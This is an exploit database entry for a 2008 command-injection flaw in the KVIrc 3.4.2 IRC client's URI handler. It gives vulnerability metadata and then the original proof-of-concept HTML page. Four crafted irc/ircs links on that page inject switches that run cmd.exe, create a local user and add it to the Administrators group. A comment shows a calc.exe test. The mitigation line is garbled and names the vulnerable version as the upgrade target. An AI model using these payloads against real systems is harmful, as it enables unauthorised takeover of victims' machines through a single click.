KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit

vendor:

KVIrc

by:

Nine:Situations:Group::strawdog

7.5

CVSS

HIGH

Command Line Parsing Vulnerability

CWE

Product Name: KVIrc

Affected Version From: 3.4.2 Shiny

Affected Version To: 3.4.2 Shiny

Patch Exists: Yes

Related CWE: CVE-2008-5183

CPE: a:kvirc:kvirc

Metasploit: https://www.rapid7.com/db/vulnerabilities/apple-osx-cups-cve-2008-5183/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2008-5183/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2008-1029/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2008-5183/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: IE8beta/WINxpsp3

2008

KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit

A command line parsing vulnerability exists in KVIrc 3.4.2 Shiny which can be exploited by passing the '"' char followed by command line switches to 'irc:///', 'irc6:///', 'ircs:///' and 'ircs6:///' urls. The most interesting one is the -e switch followed by 'run' command, this runs calc.exe. The following links add a new user on target with admin privileges.

Mitigation:

Upgrade to the latest version of KVIrc 3.4.2 Shiny

Source

Exploit-DB raw data:

<!--
KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
by Nine:Situations:Group::strawdog
Tested against IE8beta/WINxpsp3

software site:
http://www.kvirc.net/?lang=en
description:
"KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac
OS.[..]"

A command line parsing vulnerability exists (or I should say persists...:
http://secunia.com/advisories/25740, fixed or not?) which can be exploited by
passing the '"' char followed by command line switches to 'irc:///', 'irc6:///',
'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list:
irc:///"%20--help%20"
The most interesting one is the -e switch followed by 'run' command, this runs
calc.exe:
irc:///"%20--nosplash%20-e%20"run%20calc"%20"

The following links add a new user on target with admin privileges
-->
<html>
  <body>

  <a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br>

  <a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br>

  <a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br>

  <a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br>

  </body>
</html>

# milw0rm.com [2008-11-21]